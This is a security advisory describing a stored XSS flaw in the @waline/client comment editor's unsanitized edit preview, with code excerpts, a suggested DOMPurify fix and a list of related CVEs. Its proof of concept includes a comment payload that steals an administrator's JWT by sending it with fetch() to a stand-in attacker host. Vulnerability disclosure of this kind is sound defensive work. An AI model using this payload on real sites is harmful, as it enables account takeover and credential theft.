Résumé
@waline/client vulnerable to stored XSS through unsanitized comment edit previews
Détails de l’avis
Summary
@waline/client renders the comment editor's live preview with marked and no sanitizer (utils/markdown.ts), and the preview is injected with v-html.
When a comment is edited, the editor is seeded with the comment's raw, un-sanitized body (orig).
Only administrators and the comment owner can edit. So an administrator who clicks Edit on an attacker's comment renders that attacker's raw HTML in their own session: an unauthenticated commenter achieves privilege-escalation stored XSS against a moderator with a single Edit click.
Details
packages/client/src/utils/markdown.ts:18-37 renders markdown with marked and returns the raw HTML with no sanitization (the client bundles no DOMPurify):
return marked.parse(parseEmoji(content, emojiMap)) as string;
packages/client/src/components/CommentBox.vue:
onMounted(() => {
if (props.edit?.objectId) editor.value = props.edit.orig; // :509 raw comment body
watchImmediate(() => editor.value, (value) => {
previewText.value = parseMarkdown(value, { ... }); // :519 runs immediately on mount
});
});
<div v-show="showPreview" class="wl-preview"> <!-- :616 v-show keeps the node in the DOM -->
<div class="wl-content" v-html="previewText" /> <!-- :621 -->
</div>
watchImmediate runs the callback synchronously at mount, so previewText is populated with the unsanitized render as soon as the box mounts in edit mode.
v-show (not v-if) means the v-html node is present in the DOM (display:none), so an <img onerror> fires without the moderator ever opening the preview tab.
The tainted value is the attacker's raw comment. packages/server/src/controller/comment.js:41 sets comment.orig = comment.comment for any logged-in user before :55 runs DOMPurify, so orig is the pre-sanitization body. formatCmt returns it to logged-in users, and CommentCard.vue:104 shows the Edit button to admin or owner.
Proof of concept
- As an anonymous user, post a comment whose body is the payload below via
POST /api/comment:
POST /api/comment
{ "url": "/any-post", "nick": "a", "comment": "<img src=x onerror=fetch('//evil.example/'+JSON.parse(localStorage.WALINE_USER).token)>" }
On the public page the server sanitizes the display copy (markdown-it -> DOMPurify), so nothing fires for ordinary readers and the comment shows as a broken image. The raw body is stored in
orig.As an administrator or the comment owner, click Edit on that comment during normal moderation.
CommentBoxmounts, seeds the editor with the raworig, andwatchImmediateimmediately renders it throughparseMarkdown(marked, no sanitizer) into thev-htmlpreview node. Because the preview usesv-show(display:none), that node is already in the DOM without opening the preview tab, soonerrorfires at once in the admin's session and exfiltrates theirlocalStorageJWT.
The server's own comment guard strips this same <img onerror> on the stored display copy, which is why the public listing is safe; the edit preview is the unguarded path.
Impact
The waline JWT is in same-origin localStorage, so the payload can read it, yielding full administrative account takeover.
Suggested fix
Sanitize parseMarkdown's output with DOMPurify before returning it, mirroring the server guard: add dompurify to @waline/client and wrap the return in DOMPurify.sanitize(..., { FORBID_TAGS: ['form','input','style'], FORBID_ATTR: ['autoplay','style'] }).
Références
Vulnérabilités liées
Tout Supply chain →- HIGHCVE-2026-122244
Budibase: Cross-privilege Stored XSS in the Budibase Builder via broken HTML-escaping in `jsonFormatter.format()` rendered through `{@html}` in the CSP-less Builder origin
- MEDIUMCVE-2026-128122
SvelteKit: Prerendered redirect paths can inject arbitrary rules into the `_redirects` file generated by `@sveltejs/adapter-cloudflare`
- MEDIUMCVE-2026-126203
Loofah: Mutation XSS in the HTML5 scrubbers through unescaped attribute values
- MEDIUMCVE-2026-116582
Seroval: Script injection through RegExp sources in serialized output
- HIGHCVE-2026-118257
Vue I18n: escapeParameter does not prevent XSS through srcdoc in translation messages
- MEDIUMCVE-2026-111059
Mercury: Stored / DOM Cross-Site Scripting (XSS): mr.Markdown renders untrusted content as raw, unsanitized HTML